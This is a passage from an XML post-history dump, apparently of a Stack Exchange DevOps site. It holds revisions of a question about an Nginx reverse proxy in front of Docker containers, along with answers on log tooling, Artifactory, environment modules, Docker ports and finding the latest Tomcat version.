surprises me is now there is no default_server hits. In other words, app.staging.mysite.com, which was working and responding with my Angular app resources is no longer working when I added the second server listening on port 80 specifically for account.staging.mysite.com.&#xD;&#xA;&#xD;&#xA;So really this question is not that much about Docker containers, this is really about Nginx configuration. Though I am not entirely sure that my Docker containers could be excluded from being part of the problem. So here is my docker-compose.yml for account.staging.mysite.com:&#xD;&#xA;&#xD;&#xA;    version: '3'&#xD;&#xA;    &#xD;&#xA;    services:&#xD;&#xA;      apistaging:&#xD;&#xA;        build: &#xD;&#xA;          context: ./&#xD;&#xA;          dockerfile: docker/staging/Dockerfile&#xD;&#xA;        image: tsl.api.account.image&#xD;&#xA;        container_name: tsl.api.account.container&#xD;&#xA;        ports:&#xD;&#xA;          - &quot;127.0.0.1:5007:80&quot;&#xD;&#xA;        environment: &#xD;&#xA;          ASPNETCORE_URLS: http://+:5007&#xD;&#xA;&#xD;&#xA;And here is my docker-compose.yml for app.staging.mysite.com:&#xD;&#xA;&#xD;&#xA;    version: '3'&#xD;&#xA;    &#xD;&#xA;    services:&#xD;&#xA;      frontend:&#xD;&#xA;        build: &#xD;&#xA;          context: ./&#xD;&#xA;          dockerfile: docker/Dockerfile&#xD;&#xA;        image: tsl.web.frontend.image&#xD;&#xA;        container_name: tsl.web.frontend.container&#xD;&#xA;        ports:&#xD;&#xA;          - &quot;80:80&quot;&#xD;&#xA;&#xD;&#xA;Here is my Dockerfile for Nginx that serves my Angular app and is hopefully going to act as a reverse proxy as well, you can see that Nginx default_server servers my Angular app resource files that I copied into this Docker image on docker build:&#xD;&#xA;&#xD;&#xA;    FROM centos:7&#xD;&#xA;    MAINTAINER Brian Ogden&#xD;&#xA;     &#xD;&#xA;    # Not currently being used but may come in handy&#xD;&#xA;    ARG ENVIRONMENT&#xD;&#xA;    ENV NODE_VERSION 6.11.1&#xD;&#xA;     &#xD;&#xA;    RUN yum -y update &amp;&amp; \&#xD;&#xA;        yum clean all &amp;&amp; \&#xD;&#xA;        yum -y install http://nginx.org/packages/centos/7/noarch/RPMS/nginx-release-centos-7-0.el7.ngx.noarch.rpm \&#xD;&#xA;        yum -y makecache &amp;&amp; \&#xD;&#xA;        yum -y install nginx-1.12.0 wget&#xD;&#xA;     &#xD;&#xA;    # Cleanup some default NGINX configuration files we don’t need&#xD;&#xA;    RUN rm /etc/nginx/conf.d/default.conf&#xD;&#xA;     &#xD;&#xA;    #############################################&#xD;&#xA;    # NodeJs Install&#xD;&#xA;    #############################################&#xD;&#xA;    &#xD;&#xA;    #Download NodeJs package&#xD;&#xA;    RUN wget -q -O - https://nodejs.org/dist/v$NODE_VERSION/node-v$NODE_VERSION-linux-x64.tar.gz \&#xD;&#xA;        | tar --strip-components=1 -xzf - -C /usr/local&#xD;&#xA;    &#xD;&#xA;    # https://stackoverflow.com/a/35774741/1258525&#xD;&#xA;    # use changes to package.json to force Docker not to use the cache&#xD;&#xA;    # when we change our application's nodejs dependencies:&#xD;&#xA;    COPY ./package.json /tmp/package.json&#xD;&#xA;    RUN cd /tmp &amp;&amp; npm install&#xD;&#xA;    RUN mkdir /app &amp;&amp; cp -a /tmp/node_modules /app/&#xD;&#xA;     &#xD;&#xA;    WORKDIR /app&#xD;&#xA;    COPY . /app&#xD;&#xA;     &#xD;&#xA;    RUN npm run build-$ENVIRONMENT&#xD;&#xA;     &#xD;&#xA;    RUN cd /app &amp;&amp; cp -a dist/* /usr/share/nginx/html&#xD;&#xA;    COPY ./docker/conf/frontend.conf /etc/nginx/conf.d/frontend.conf&#xD;&#xA;    COPY ./docker/conf/nginx.conf /etc/nginx/nginx.conf&#xD;&#xA;     &#xD;&#xA;     &#xD;&#xA;    EXPOSE 80&#xD;&#xA;     &#xD;&#xA;    CMD [&quot;nginx&quot;]&#xD;&#xA;&#xD;&#xA;Is this issue possibly because of 80:80 binding for the Angular app frontend docker container?&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10208" PostHistoryTypeId="1" PostId="3253" RevisionGUID="2462a4e5-bebc-49ab-bd82-bb051cd3f731" CreationDate="2018-02-02T17:35:51.303" UserId="4790" Text="Nginx reverse proxy setup issues with Docker containers" ContentLicense="CC BY-SA 3.0" />
  <row Id="10209" PostHistoryTypeId="3" PostId="3253" RevisionGUID="2462a4e5-bebc-49ab-bd82-bb051cd3f731" CreationDate="2018-02-02T17:35:51.303" UserId="4790" Text="&lt;docker&gt;&lt;docker-compose&gt;&lt;nginx&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10210" PostHistoryTypeId="5" PostId="3253" RevisionGUID="c8e59bbf-4e40-461c-bfd2-59009ceb554f" CreationDate="2018-02-02T17:50:46.257" UserId="4790" Comment="added 204 characters in body" Text="I have two running docker containers:&#xD;&#xA;&#xD;&#xA; 1. A Docker container running Nginx that serves Angular app resource files that were copied into the Docker image on docker build&#xD;&#xA; 2. A Docker container that is an api that is current listening on port 5007 internally on the container and 5007 externally on the host machine&#xD;&#xA;&#xD;&#xA;I am setting up a staging environment and the following external urls:&#xD;&#xA;&#xD;&#xA; - app.staging.mysite.com&#xD;&#xA; - account.staging.mysite.com&#xD;&#xA;&#xD;&#xA;app.staging.mysite.com hits port 80 and responds with the Angular app resources no problem.&#xD;&#xA;&#xD;&#xA;Now I want to get account.staging.mysite.com external API url request to hit my API Docker container listening on port 5007. Requests from account.staging.mysite.com will hit port 80 of the host machine. &#xD;&#xA;&#xD;&#xA;Nginx will receive the account.staging.mysite.com port 80 requests and proxy them to Docker container 127.0.0.1:5007 while at the same time still serve my Angular app file by default for all external urls/domains that I do not explicitly express for proxy in my Nginx config.&#xD;&#xA;&#xD;&#xA;Instead of serving my Angular app I would like to use Nginx to forward the request to port 5007 so the my Account API can response. So I have altered my Nginx config to the following:&#xD;&#xA;&#xD;&#xA;    &#xD;&#xA;    upstream accountstaging{&#xD;&#xA;        server 127.0.0.1:5007&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    server {&#xD;&#xA;        listen 80 default_server;&#xD;&#xA;    	listen [::]:80 default_server;&#xD;&#xA;    	server_name _;&#xD;&#xA;    &#xD;&#xA;        # Main&#xD;&#xA;        location / {&#xD;&#xA;            root   /usr/share/nginx/html;&#xD;&#xA;            index  index.html index.htm;&#xD;&#xA;            try_files $uri$args $uri$args/ /index.html;&#xD;&#xA;        }&#xD;&#xA;    &#xD;&#xA;&#xD;&#xA;        error_page   500 502 503 504  /50x.html;&#xD;&#xA;        location = /50x.html {&#xD;&#xA;            root   /usr/share/nginx/html;&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    server {&#xD;&#xA;    &#xD;&#xA;        listen 80;&#xD;&#xA;        server_name account.staging.mysite.com;&#xD;&#xA;    &#xD;&#xA;        location / {&#xD;&#xA;            proxy_pass         http://accountstaging;&#xD;&#xA;            proxy_redirect     off;&#xD;&#xA;            proxy_set_header   Host $host;&#xD;&#xA;            proxy_set_header   X-Real-IP $remote_addr;&#xD;&#xA;            proxy_set_header   X-Forwarded-For $proxy_add_x_forwarded_for;&#xD;&#xA;            proxy_set_header   X-Forwarded-Host $server_name;&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;The thing that really surprises me is now there is no default_server hits. In other words, app.staging.mysite.com, which was working and responding with my Angular app resources is no longer working when I added the second server listening on port 80 specifically for account.staging.mysite.com.&#xD;&#xA;&#xD;&#xA;So really this question is not that much about Docker containers, this is really about Nginx configuration. Though I am not entirely sure that my Docker containers could be excluded from being part of the problem. So here is my docker-compose.yml for account.staging.mysite.com:&#xD;&#xA;&#xD;&#xA;    version: '3'&#xD;&#xA;    &#xD;&#xA;    services:&#xD;&#xA;      apistaging:&#xD;&#xA;        build: &#xD;&#xA;          context: ./&#xD;&#xA;          dockerfile: docker/staging/Dockerfile&#xD;&#xA;        image: tsl.api.account.image&#xD;&#xA;        container_name: tsl.api.account.container&#xD;&#xA;        ports:&#xD;&#xA;          - &quot;127.0.0.1:5007:80&quot;&#xD;&#xA;        environment: &#xD;&#xA;          ASPNETCORE_URLS: http://+:5007&#xD;&#xA;&#xD;&#xA;And here is my docker-compose.yml for app.staging.mysite.com:&#xD;&#xA;&#xD;&#xA;    version: '3'&#xD;&#xA;    &#xD;&#xA;    services:&#xD;&#xA;      frontend:&#xD;&#xA;        build: &#xD;&#xA;          context: ./&#xD;&#xA;          dockerfile: docker/Dockerfile&#xD;&#xA;        image: tsl.web.frontend.image&#xD;&#xA;        container_name: tsl.web.frontend.container&#xD;&#xA;        ports:&#xD;&#xA;          - &quot;80:80&quot;&#xD;&#xA;&#xD;&#xA;Here is my Dockerfile for Nginx that serves my Angular app and is hopefully going to act as a reverse proxy as well, you can see that Nginx default_server servers my Angular app resource files that I copied into this Docker image on docker build:&#xD;&#xA;&#xD;&#xA;    FROM centos:7&#xD;&#xA;    MAINTAINER Brian Ogden&#xD;&#xA;     &#xD;&#xA;    # Not currently being used but may come in handy&#xD;&#xA;    ARG ENVIRONMENT&#xD;&#xA;    ENV NODE_VERSION 6.11.1&#xD;&#xA;     &#xD;&#xA;    RUN yum -y update &amp;&amp; \&#xD;&#xA;        yum clean all &amp;&amp; \&#xD;&#xA;        yum -y install http://nginx.org/packages/centos/7/noarch/RPMS/nginx-release-centos-7-0.el7.ngx.noarch.rpm \&#xD;&#xA;        yum -y makecache &amp;&amp; \&#xD;&#xA;        yum -y install nginx-1.12.0 wget&#xD;&#xA;     &#xD;&#xA;    # Cleanup some default NGINX configuration files we don’t need&#xD;&#xA;    RUN rm /etc/nginx/conf.d/default.conf&#xD;&#xA;     &#xD;&#xA;    #############################################&#xD;&#xA;    # NodeJs Install&#xD;&#xA;    #############################################&#xD;&#xA;    &#xD;&#xA;    #Download NodeJs package&#xD;&#xA;    RUN wget -q -O - https://nodejs.org/dist/v$NODE_VERSION/node-v$NODE_VERSION-linux-x64.tar.gz \&#xD;&#xA;        | tar --strip-components=1 -xzf - -C /usr/local&#xD;&#xA;    &#xD;&#xA;    # https://stackoverflow.com/a/35774741/1258525&#xD;&#xA;    # use changes to package.json to force Docker not to use the cache&#xD;&#xA;    # when we change our application's nodejs dependencies:&#xD;&#xA;    COPY ./package.json /tmp/package.json&#xD;&#xA;    RUN cd /tmp &amp;&amp; npm install&#xD;&#xA;    RUN mkdir /app &amp;&amp; cp -a /tmp/node_modules /app/&#xD;&#xA;     &#xD;&#xA;    WORKDIR /app&#xD;&#xA;    COPY . /app&#xD;&#xA;     &#xD;&#xA;    RUN npm run build-$ENVIRONMENT&#xD;&#xA;     &#xD;&#xA;    RUN cd /app &amp;&amp; cp -a dist/* /usr/share/nginx/html&#xD;&#xA;    COPY ./docker/conf/frontend.conf /etc/nginx/conf.d/frontend.conf&#xD;&#xA;    COPY ./docker/conf/nginx.conf /etc/nginx/nginx.conf&#xD;&#xA;     &#xD;&#xA;     &#xD;&#xA;    EXPOSE 80&#xD;&#xA;     &#xD;&#xA;    CMD [&quot;nginx&quot;]&#xD;&#xA;&#xD;&#xA;Is this issue possibly because of 80:80 binding for the Angular app frontend docker container?&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10212" PostHistoryTypeId="5" PostId="3253" RevisionGUID="c32ed7fc-969b-493a-b23e-3097cc4a9da0" CreationDate="2018-02-02T20:38:07.390" UserId="4790" Comment="deleted 10 characters in body" Text="I have two running docker containers:&#xD;&#xA;&#xD;&#xA; 1. A Docker container running Nginx that serves Angular app resource files that were copied into the Docker image on docker build&#xD;&#xA; 2. A Docker container that is an api that is current listening on port 5007 internally on the container and 5007 externally on the host machine&#xD;&#xA;&#xD;&#xA;I am setting up a staging environment and the following external urls:&#xD;&#xA;&#xD;&#xA; - app.staging.mysite.com&#xD;&#xA; - account.staging.mysite.com&#xD;&#xA;&#xD;&#xA;app.staging.mysite.com hits port 80 and responds with the Angular app resources no problem.&#xD;&#xA;&#xD;&#xA;Now I want to get account.staging.mysite.com external API url request to hit my API Docker container listening on port 5007. Requests from account.staging.mysite.com will hit port 80 of the host machine. &#xD;&#xA;&#xD;&#xA;Nginx will receive the account.staging.mysite.com port 80 requests and proxy them to Docker container 127.0.0.1:5007 while at the same time still serve my Angular app file by default for all external urls/domains that I do not explicitly express for proxy in my Nginx config.&#xD;&#xA;&#xD;&#xA;Instead of serving my Angular app I would like to use Nginx to forward the request to port 5007 so the my Account API can response. So I have altered my Nginx config to the following:&#xD;&#xA;&#xD;&#xA;    &#xD;&#xA;    upstream accountstaging{&#xD;&#xA;        server 0.0.0.0:5007&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    server {&#xD;&#xA;        listen 80 default_server;&#xD;&#xA;    	listen [::]:80 default_server;&#xD;&#xA;    	server_name _;&#xD;&#xA;    &#xD;&#xA;        # Main&#xD;&#xA;        location / {&#xD;&#xA;            root   /usr/share/nginx/html;&#xD;&#xA;            index  index.html index.htm;&#xD;&#xA;            try_files $uri$args $uri$args/ /index.html;&#xD;&#xA;        }&#xD;&#xA;    &#xD;&#xA;&#xD;&#xA;        error_page   500 502 503 504  /50x.html;&#xD;&#xA;        location = /50x.html {&#xD;&#xA;            root   /usr/share/nginx/html;&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    server {&#xD;&#xA;    &#xD;&#xA;        listen 80;&#xD;&#xA;        server_name account.staging.mysite.com;&#xD;&#xA;    &#xD;&#xA;        location / {&#xD;&#xA;            proxy_pass         http://accountstaging;&#xD;&#xA;            proxy_redirect     off;&#xD;&#xA;            proxy_set_header   Host $host;&#xD;&#xA;            proxy_set_header   X-Real-IP $remote_addr;&#xD;&#xA;            proxy_set_header   X-Forwarded-For $proxy_add_x_forwarded_for;&#xD;&#xA;            proxy_set_header   X-Forwarded-Host $server_name;&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;The thing that really surprises me is now there is no default_server hits. In other words, app.staging.mysite.com, which was working and responding with my Angular app resources is no longer working when I added the second server listening on port 80 specifically for account.staging.mysite.com.&#xD;&#xA;&#xD;&#xA;So really this question is not that much about Docker containers, this is really about Nginx configuration. Though I am not entirely sure that my Docker containers could be excluded from being part of the problem. So here is my docker-compose.yml for account.staging.mysite.com:&#xD;&#xA;&#xD;&#xA;    version: '3'&#xD;&#xA;    &#xD;&#xA;    services:&#xD;&#xA;      apistaging:&#xD;&#xA;        build: &#xD;&#xA;          context: ./&#xD;&#xA;          dockerfile: docker/staging/Dockerfile&#xD;&#xA;        image: tsl.api.account.image&#xD;&#xA;        container_name: tsl.api.account.container&#xD;&#xA;        ports:&#xD;&#xA;          - &quot;5007:5007&quot;&#xD;&#xA;        environment: &#xD;&#xA;          ASPNETCORE_URLS: http://+:5007&#xD;&#xA;&#xD;&#xA;And here is my docker-compose.yml for app.staging.mysite.com:&#xD;&#xA;&#xD;&#xA;    version: '3'&#xD;&#xA;    &#xD;&#xA;    services:&#xD;&#xA;      frontend:&#xD;&#xA;        build: &#xD;&#xA;          context: ./&#xD;&#xA;          dockerfile: docker/Dockerfile&#xD;&#xA;        image: tsl.web.frontend.image&#xD;&#xA;        container_name: tsl.web.frontend.container&#xD;&#xA;        ports:&#xD;&#xA;          - &quot;80:80&quot;&#xD;&#xA;&#xD;&#xA;Here is my Dockerfile for Nginx that serves my Angular app and is hopefully going to act as a reverse proxy as well, you can see that Nginx default_server servers my Angular app resource files that I copied into this Docker image on docker build:&#xD;&#xA;&#xD;&#xA;    FROM centos:7&#xD;&#xA;    MAINTAINER Brian Ogden&#xD;&#xA;     &#xD;&#xA;    # Not currently being used but may come in handy&#xD;&#xA;    ARG ENVIRONMENT&#xD;&#xA;    ENV NODE_VERSION 6.11.1&#xD;&#xA;     &#xD;&#xA;    RUN yum -y update &amp;&amp; \&#xD;&#xA;        yum clean all &amp;&amp; \&#xD;&#xA;        yum -y install http://nginx.org/packages/centos/7/noarch/RPMS/nginx-release-centos-7-0.el7.ngx.noarch.rpm \&#xD;&#xA;        yum -y makecache &amp;&amp; \&#xD;&#xA;        yum -y install nginx-1.12.0 wget&#xD;&#xA;     &#xD;&#xA;    # Cleanup some default NGINX configuration files we don’t need&#xD;&#xA;    RUN rm /etc/nginx/conf.d/default.conf&#xD;&#xA;     &#xD;&#xA;    #############################################&#xD;&#xA;    # NodeJs Install&#xD;&#xA;    #############################################&#xD;&#xA;    &#xD;&#xA;    #Download NodeJs package&#xD;&#xA;    RUN wget -q -O - https://nodejs.org/dist/v$NODE_VERSION/node-v$NODE_VERSION-linux-x64.tar.gz \&#xD;&#xA;        | tar --strip-components=1 -xzf - -C /usr/local&#xD;&#xA;    &#xD;&#xA;    # https://stackoverflow.com/a/35774741/1258525&#xD;&#xA;    # use changes to package.json to force Docker not to use the cache&#xD;&#xA;    # when we change our application's nodejs dependencies:&#xD;&#xA;    COPY ./package.json /tmp/package.json&#xD;&#xA;    RUN cd /tmp &amp;&amp; npm install&#xD;&#xA;    RUN mkdir /app &amp;&amp; cp -a /tmp/node_modules /app/&#xD;&#xA;     &#xD;&#xA;    WORKDIR /app&#xD;&#xA;    COPY . /app&#xD;&#xA;     &#xD;&#xA;    RUN npm run build-$ENVIRONMENT&#xD;&#xA;     &#xD;&#xA;    RUN cd /app &amp;&amp; cp -a dist/* /usr/share/nginx/html&#xD;&#xA;    COPY ./docker/conf/frontend.conf /etc/nginx/conf.d/frontend.conf&#xD;&#xA;    COPY ./docker/conf/nginx.conf /etc/nginx/nginx.conf&#xD;&#xA;     &#xD;&#xA;     &#xD;&#xA;    EXPOSE 80&#xD;&#xA;     &#xD;&#xA;    CMD [&quot;nginx&quot;]&#xD;&#xA;&#xD;&#xA;Is this issue possibly because of 80:80 binding for the Angular app frontend docker container?&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10213" PostHistoryTypeId="2" PostId="3254" RevisionGUID="14fb05a2-28af-415f-86ad-ddf86cc8fdce" CreationDate="2018-02-02T20:47:01.247" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="10214" PostHistoryTypeId="1" PostId="3254" RevisionGUID="14fb05a2-28af-415f-86ad-ddf86cc8fdce" CreationDate="2018-02-02T20:47:01.247" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10215" PostHistoryTypeId="2" PostId="3255" RevisionGUID="abf41d92-250a-46d3-813d-08996c82c491" CreationDate="2018-02-02T20:47:01.247" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="10216" PostHistoryTypeId="1" PostId="3255" RevisionGUID="abf41d92-250a-46d3-813d-08996c82c491" CreationDate="2018-02-02T20:47:01.247" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10217" PostHistoryTypeId="2" PostId="3256" RevisionGUID="bfe5c379-752d-475a-bf68-3368c367a8e0" CreationDate="2018-02-02T21:01:16.823" UserId="6354" Text="I am not sure if you are open to commercial solutions, but Sumo Logic is an excellent ingest-type solution. I also tried Logly and LogDNA which were nice but not as powerful and feature rich as Sumo. Let me also say am not a shill for this company. I’m just a DevOps guy who hates dealing with crappy and incomplete log collection.&#xA;&#xA;After dealing with the complexity of ELK, which is admittedly is very powerful and flexible so I have read, ElasticSearch is not for the faint of heart, especially when you walk into a shop and their ELK stack is 4 years old. It’s important to know right right off that Sumo is a cloud solution, so as long as you’re okay with shipping your logs and metrics over HTTPS to their servers, it’s a good way to go. Then you can focus on just feature configuration without having to maintain the core service. It offers most of what I remember that Splunk does without being prohibitively expensive. As you might have guessed, I just completed a project where I moved from ELK to Sumo for production log data and metrics visualization and it is a world of difference from Kibana as far as how much easier it is to get useful output. I found statistical capabilities similar as well, but Kibana does seem to be more actuarially adherent. It’s easy to set up alarms, integrate with RESTful APIs for tools like like Slack, perform complex data correlation, and make purdy dashboards for management. It’s comprehensive as it is an entire stack. Also, there is a very well-developed chef cookbook so installation and configuration is very manageable once you get your ingestion configured along with rulesets. That can be time consuming but as far as cookbooks go I’d say it’s medium complexity. Data ingestion is incredibly flexible- I have not hit any limitations with what it can do, but I did give up trying to ingest directly from logstash as getting metadata to map was more trouble than it was worth. While slurping text logs is what they are geared for, pushing logs and metrics is also an option. We continue to use logback for our app logging, but now Sumo collects pretty much all our logs now as well as graphite data. It does Windows Event Logs nicely as well. We are starting to integrate fluentd from k8s but we’re having some challenges keeping the log volume tamed.&#xA;&#xA;They have their own pre-built support setups for a large amount of OSs, app frameworks, and infrastructure elements which can make initial setup that much faster, but some vendors like Fastly even have advanced prebuilt Sumo Logic implementations that are downright fantastic so our CDN logs create a remarkable dashboard giving an excellent picture of site health, load, as well tons of other useful data. There is definitely a learning curve but nothing like ELK. Getting all your regex just right so things like exceptions in app logs are handled properly can take time, but you can get a lot going with very little effort as a lot of tedious problems like automatic timestamp detection and multi line detection are built in if you want them. Ingestion can be as sophisticated as you want it to be. I found set up kind of evolutionary over the last year where I started with a very basic setup where I did all my pattern matching in my queries, but eventually I had ingestion rules that sifted all my fields out for me which made things more user-friendly for other users. Also, support and documentation are very good. As far as paid services go, this one seemed quite worth it unless you’re already and ace with ELK.&#xA;&#xA;Boy, that was probably a lot more info than you bargained for, but it’s a fair breakdown of Sumo Logic. (I hope!)" ContentLicense="CC BY-SA 3.0" />
  <row Id="10218" PostHistoryTypeId="2" PostId="3257" RevisionGUID="cb0402ab-1c7e-4bc5-ab03-1555ce4deccf" CreationDate="2018-02-02T21:29:45.807" UserId="4007" Text="You might be able to use Filebeat directly. Newer versions of filebeat has a concept of &quot;modules&quot;, which is custom parsers you can apply. There are built-in ones for stuff like nginx, apache2, redis etc. Not sure how one goes about writing custom modules, but it might be an avenue worth exploring.&#xD;&#xA;&#xD;&#xA;That said, more advanced/custom parsing is likely better left to Logstash than any other component in the Elastic stack." ContentLicense="CC BY-SA 3.0" />
  <row Id="10219" PostHistoryTypeId="2" PostId="3258" RevisionGUID="b9895555-6a4d-4df8-ad4d-ff7e1e82c29e" CreationDate="2018-02-02T22:59:49.553" UserId="4328" Text="There are a few main reasons why you would use Artifactory (or any other binary repository manager) over a traditional file storage (in your case NFS). &#xD;&#xA;&#xD;&#xA; 1. The ability to manage your artifact versions&#xD;&#xA; 2. A central location to access artifacts across infrastructure (which you have accomplished with NFS)&#xD;&#xA; 3. The ability to download/recreate previous versions of the artifacts (you could also use a git/svn repository for this, but it would be contain MUCH more irrelevant metadata about the binary artifacts than would be useful to a user)&#xD;&#xA; 4. You want to control who/what has permissions to access the stored artifacts&#xD;&#xA; &#xD;&#xA;If none of these are applicable in your use-case, I would say that Artifactory would be overkill and the effort to create and maintain it would not out way the value you would receive from it. Although I have used it in the past, and it is a great tool for what it aims to accomplish :)" ContentLicense="CC BY-SA 3.0" />
  <row Id="10220" PostHistoryTypeId="50" PostId="2947" RevisionGUID="079939fb-d8ad-4790-a8cf-1fa3812e454f" CreationDate="2018-02-03T05:32:31.040" UserId="-1" />
  <row Id="10221" PostHistoryTypeId="2" PostId="3259" RevisionGUID="26439bfb-e1a9-4aca-9f1c-5c0070f51eaa" CreationDate="2018-02-03T09:04:25.690" UserId="5879" Text="One solution that might fit your scenario are [environment modules][1]. Given that you only need the compilers on Linux, and have access via a network share (nfs/Samba). To load a toolchain into your terminal, just type&#xD;&#xA;&#xD;&#xA;    module load gcc&#xD;&#xA;&#xD;&#xA;and let autocompletion fill in the version number. It is basically Python’s virtualenv for any Linux program/toolchain/SDK. I have used it extensively and can warmly recommend this tool.&#xD;&#xA;&#xD;&#xA;Each compiler would have their own folder which is subdivided by version which allows you to have direct access to all versions. Configuration is defined server-side with PATH and other environment variables. User-side,  a bash script has to be installed into users’ `.bashrc`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://modules.sourceforge.net/" ContentLicense="CC BY-SA 3.0" />
  <row Id="10222" PostHistoryTypeId="2" PostId="3260" RevisionGUID="dfdf06c8-27f9-4dd4-8511-adcfd7fdee23" CreationDate="2018-02-03T18:12:59.497" UserId="4573" Text="Your command (curl 172.17.0.2 ) is hanging not due to expose port .It is clear  &#xD;&#xA;for security reasons, in Dockerfile EXPOSE command is not working, you need to manually need to add -p host_port:container_port in docker run command &amp; it helps connect your container outside your machine.&#xD;&#xA;  &#xD;&#xA;If service is not running on 80 port , then you get message like this &#xD;&#xA;shell&gt; curl 172.17.0.2&#xD;&#xA;curl: (7) Failed to connect to 172.17.0.2 port 80: Connection refused&#xD;&#xA;&#xD;&#xA;curl command is  hanging  due to  non interactive  &amp; non TTY shell . &#xD;&#xA;&#xD;&#xA;Run your docker run command with -it option : &#xD;&#xA;&#xD;&#xA;docker run -d -it -p 80:80 --name website mob&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10223" PostHistoryTypeId="2" PostId="3261" RevisionGUID="cc5084f2-4577-4dc5-a1e0-8949787f628f" CreationDate="2018-02-03T19:54:53.830" UserId="47" Text="In many cases compilers are used as-is, already packaged by 3rd parties. When changing the structure of the build systems changing compilers usually translates into switching to a different version, but which is also pre-packaged. If this is your use case the artifact repository offers a single advantage: availability. Even if the provider decides (for whatever reason) to discontinue the version - you still have your copy in the respository.&#xD;&#xA;&#xD;&#xA;But if the compilers receive any updates without version changes or if you do any sort of customisation - even if it's just building them without touching any code - you want to store those particular versions in the artifactory to be able to reliably obtain them at any time.&#xD;&#xA;&#xD;&#xA;Side note: how exactly you use the compilers can influence the performance of your builds, especially in very large projects with build times which can take hours. You'd have to analyze your builds' structure and/or usage patterns to figure out if it's worth pursuing optimisations and, if so, in which direction(s).&#xD;&#xA;&#xD;&#xA;Directly invoking compilers from NFS is convenient - very little configurations required on the build servers. But performance of massive builds can be very sensitive to the NFS performance, of both the NFS server itself and of the network connecting it to the build server(s). Some artifactories may have direct NFS support. You'd have to measure the impact of switching to such service, in some cases it may still be better to use a dedicated NFS server instead. Or maybe switching to VM images that contain the compilers locally installed.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10224" PostHistoryTypeId="2" PostId="3262" RevisionGUID="0ae5c0e0-57b2-48bd-9ba0-9953ca18f9b9" CreationDate="2018-02-04T15:32:52.737" UserId="210" Text="If one checks the Tomcat homepage then one could see some versions, but not the latest. Off course I could parse the website and find the version, but I am looking for a Tomcat API that shows the latest version to prevent that I have to create a script that is error prone.&#xD;&#xA;&#xD;&#xA;**Why?**&#xD;&#xA;&#xD;&#xA;I would like to automate the update of our internal tomcat packages. At the moment someone is checking the latest version and create the debian package manually, but I want to see that that is automated." ContentLicense="CC BY-SA 3.0" />
  <row Id="10225" PostHistoryTypeId="1" PostId="3262" RevisionGUID="0ae5c0e0-57b2-48bd-9ba0-9953ca18f9b9" CreationDate="2018-02-04T15:32:52.737" UserId="210" Text="How to get the latest Tomcat version?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10226" PostHistoryTypeId="3" PostId="3262" RevisionGUID="0ae5c0e0-57b2-48bd-9ba0-9953ca18f9b9" CreationDate="2018-02-04T15:32:52.737" UserId="210" Text="&lt;tomcat&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10227" PostHistoryTypeId="5" PostId="3262" RevisionGUID="61ec9ab8-e448-4af2-8c8d-8498588fb2c6" CreationDate="2018-02-04T15:35:17.807" UserId="210" Comment="added 124 characters in body" Text="If one checks the Tomcat homepage then one could see some versions, but not the latest. Off course I could parse the website and find the version, but I am looking for a Tomcat API that shows the latest version to prevent that I have to create a script that is error prone.&#xD;&#xA;&#xD;&#xA;**Why?**&#xD;&#xA;&#xD;&#xA;I would like to automate the update of our internal tomcat packages. At the moment someone is checking the latest version and create the debian package manually, but I want to see that that is automated.&#xD;&#xA;&#xD;&#xA;**What has been tried?**&#xD;&#xA;&#xD;&#xA; - The github mirror does not show the latest version https://github.com/apache/tomcat/releases&#xD;&#xA; - The official tomcat html could be parsed, but that does not seem to be the easiest solution" ContentLicense="CC BY-SA 3.0" />
  <row Id="10228" PostHistoryTypeId="5" PostId="3262" RevisionGUID="1a4d9626-e1b4-4ce3-8294-610ed34692b0" CreationDate="2018-02-04T17:53:19.627" UserId="210" Comment="added 243 characters in body" Text="If one checks the Tomcat homepage then one could see some versions, but not the latest. Off course I could parse the website and find the version, but I am looking for a Tomcat API that shows the latest version to prevent that I have to create a script that is error prone.&#xD;&#xA;&#xD;&#xA;**Why?**&#xD;&#xA;&#xD;&#xA;I would like to automate the update of our internal tomcat packages. At the moment someone is checking the latest version and create the debian package manually, but I want to see that that is automated.&#xD;&#xA;&#xD;&#xA;**What has been tried?**&#xD;&#xA;&#xD;&#xA; - The github mirror does not show the latest version https://github.com/apache/tomcat/releases&#xD;&#xA; - The official tomcat html could be parsed, but that does not seem to be the easiest solution&#xD;&#xA; - `curl https://api.github.com/repos/apache/tomcat/releases/latest` returns:&#xD;&#xA;&#xD;&#xA;        {&#xD;&#xA;          &quot;message&quot;: &quot;Not Found&quot;,&#xD;&#xA;          &quot;documentation_url&quot;: &quot;https://developer.github.com/v3/repos/releases/#get-the-latest-release&quot;&#xD;&#xA;        }" ContentLicense="CC BY-SA 3.0" />
